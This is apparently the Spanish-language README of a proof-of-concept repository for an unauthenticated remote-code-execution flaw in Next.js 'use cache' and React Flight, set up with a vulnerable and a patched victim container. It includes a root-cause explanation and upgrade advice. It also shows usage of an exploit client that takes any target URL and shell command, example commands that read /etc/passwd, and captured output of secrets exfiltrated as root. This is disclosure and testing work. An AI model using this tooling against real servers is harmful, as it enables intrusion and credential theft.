Prueba de concepto dockerizada para GHSA-673q-mjm6-r5xr: una única solicitud no autenticada logra RCE en Next.js use cache / React Flight, con una víctima parcheada para comparación.
use cache / React Flight)Ejecución remota de código no autenticada en funciones
use cacheque devuelven arrays tipados Next.js>=16.0.0 <16.4.1· CVSS v4 9.5 Crítico · CWE-502 (Deserialización de datos no confiables) Causa raíz upstream: React Server Components — CVE-2026-126187 / GHSA-xqc2-xf4c-x3h3 (react-server-dom-*< 19.2.9/19.1.10/19.0.9/19.3.1). Corregido en Next.js 16.4.1.
Una prueba de concepto remota completamente funcional y dockerizada: un atacante en la red envía una
única petición HTTP no autenticada y ejecuta comandos arbitrarios como root dentro del contenedor
víctima. Una víctima parcheada construida a partir de las mismas fuentes es inmune.
attacker container ──HTTP POST /profile (crafted body)──▶ victim container (Next.js-style
(no privileged access) `use cache` Flight boundary)
▲ │
└──────────── GET /proof ◀── server-side `id`, SECRET.txt exfil ──┘
Esta es una reproducción autocontenida del transporte Flight exacto de React Server Components que
Next.js incluye (react-server-dom-webpack), fijado a las versiones vulnerable (19.2.8) y parcheada
(19.2.9). Consulte CASE-STUDY.md para el análisis completo de la causa raíz.
make demo # builds images, starts both victims, pwns the vulnerable one,
# then shows the same exploit fail against the patched one
o paso a paso:
docker compose up -d --build victim victim-patched # :3000 vulnerable, :3001 patched
docker compose run --rm poc # RCE vs :3000 -> exit 0
docker compose run --rm poc-patched # safe vs :3001 -> exit 1
docker compose run --rm evidence # root-cause reproducers, side by side
Requisitos: Docker + Docker Compose. No se necesita acceso a internet en tiempo de ejecución (solo en tiempo de compilación para descargar los paquetes npm fijados).
Contra la víctima vulnerable ([email protected]):
[+] REMOTE CODE EXECUTION CONFIRMED
command : id; echo; echo "=== exfiltrated /app/SECRET.txt ==="; cat /app/SECRET.txt; echo; uname -a
host : 648b3c59052e user: root pid: 1
--- command output (executed on the victim) ---
| uid=0(root) gid=0(root) groups=0(root)
|
| === exfiltrated /app/SECRET.txt ===
| DB_PASSWORD=hunter2
| API_KEY=sk-live-7f3c9a21b0e4
| FLAG{GHSA-673q-mjm6-r5xr-rce}
|
| Linux 648b3c59052e 6.10.14-linuxkit ... aarch64 GNU/Linux
Frente a la víctima parcheada ([email protected]), la solicitud idéntica se decodifica
como una tarjeta de perfil inofensiva — los bytes del atacante permanecen dentro de la cadena displayName y nunca
se convierten en instrucciones del protocolo:
[-] No code execution observed. Target is PATCHED.
decode result: {"keys":["avatar","thumbnail","displayName"],"displayName":"PPPP…"}
La víctima almacena en caché una "tarjeta de perfil" de usuario con una función use cache al estilo de Next.js. El valor cacheado agrupa dos arrays tipados que son vistas sobre el mismo ArrayBuffer (un avatar y una thumbnail recortados de una misma imagen decodificada — un patrón muy común de "decodificar una vez, recortar regiones") más una cadena controlada por el atacante (el nombre para mostrar de la solicitud):
function getProfileCard(displayName) {
'use cache'
const decodedImage = new ArrayBuffer(8192 * 2) // one decoded image
const avatar = new Uint8Array(decodedImage, 0, 8192) // view 1
const thumbnail = new Uint8Array(decodedImage, 8192, 8192) // view 2 — SAME buffer
return { avatar, thumbnail, displayName } // displayName = attacker input
}
Cuando el codificador Flight de React transmite el primer array tipado grande a un ReadableStream de bytes, el ArrayBuffer compartido es desvinculado (semántica de transferencia de WHATWG Streams). El byteLength de la segunda vista se convierte silenciosamente en 0 — después de que su cabecera de chunk ya declarara la longitud original. El decodificador entonces lee en exceso, engullendo el framing del stream y permitiendo que los bytes de displayName del atacante se analicen como filas crudas del protocolo Flight, lo que inyecta una Server Reference elegida por el atacante. React la invoca durante la lectura de caché → RCE. Análisis completo en
CASE-STUDY.md.
.
├── README.md you are here
├── CASE-STUDY.md full root-cause + exploitation write-up
├── docker-compose.yml victim (vuln), victim-patched, poc, evidence
├── Makefile make demo / up / exploit / evidence / clean
├── victim/
│ ├── Dockerfile ARG RSDW_VERSION selects 19.2.8 (vuln) or 19.2.9 (patched)
│ ├── server.js faithful Next.js `use cache` encode→store→decode pipeline
│ └── app-modules.js the server module graph the injected reference resolves against
├── poc/
│ ├── Dockerfile
│ └── exploit.js remote HTTP exploit (flag-driven; see -h; self-aligning payload)
└── evidence/
├── 01-encoder-desync.cjs header declares N bytes, writes 0
├── 02-type-confusion-sink.cjs thenable whose .then is a server reference
├── 03-full-chain-rce.cjs desync → injection → command execution
├── run.sh runs all three against vuln AND patched
├── sample-run.txt captured output
└── upstream-diffs/ the real Next.js 16.4.0 → 16.4.1 patch diffs
El cliente poc se controla mediante flags. Consulte su manual completo:
docker compose run --rm poc -h # or: node poc/exploit.js -h
USAGE
node exploit.js [options]
OPTIONS
-t, --target <url> Base URL of the victim (default: http://localhost:3000)
-c, --cmd <command> Shell command to run on the victim
--timeout <ms> Per-request timeout in ms (default: 15000)
--dry-run Build and print the payload; do not send anything
-h, --help Show this help and exit
--version Print version and exit
Ejemplos:
# run your own command against the vulnerable victim:
docker compose run --rm poc -t http://victim:3000 -c 'cat /etc/passwd | head -3'
# inspect the crafted payload without sending it:
docker compose run --rm poc --dry-run
# drive it directly (outside compose) against a mapped port:
node poc/exploit.js -t http://localhost:3000 -c 'id'
# a normal-looking (short) request — the shared-buffer shape alone corrupts the cache entry:
curl -s -XPOST --data 'Ada Lovelace' http://localhost:3000/profile
# inspect what the victim recorded after an exploit:
curl -s http://localhost:3000/proof | jq
Actualice Next.js a ≥ 16.4.1 (que incluye el runtime de React Flight corregido). Si depende directamente de
react-server-dom-webpack / -turbopack / -parcel, actualice a 19.2.9, 19.1.10,
19.0.9 o 19.3.1. No existe una solución alternativa a nivel de aplicación para una función use cache
afectada — la actualización es la única solución.
Este PoC solo apunta a los dos contenedores desechables que crea. Úselo contra sistemas que posea o para los que tenga autorización explícita de probar.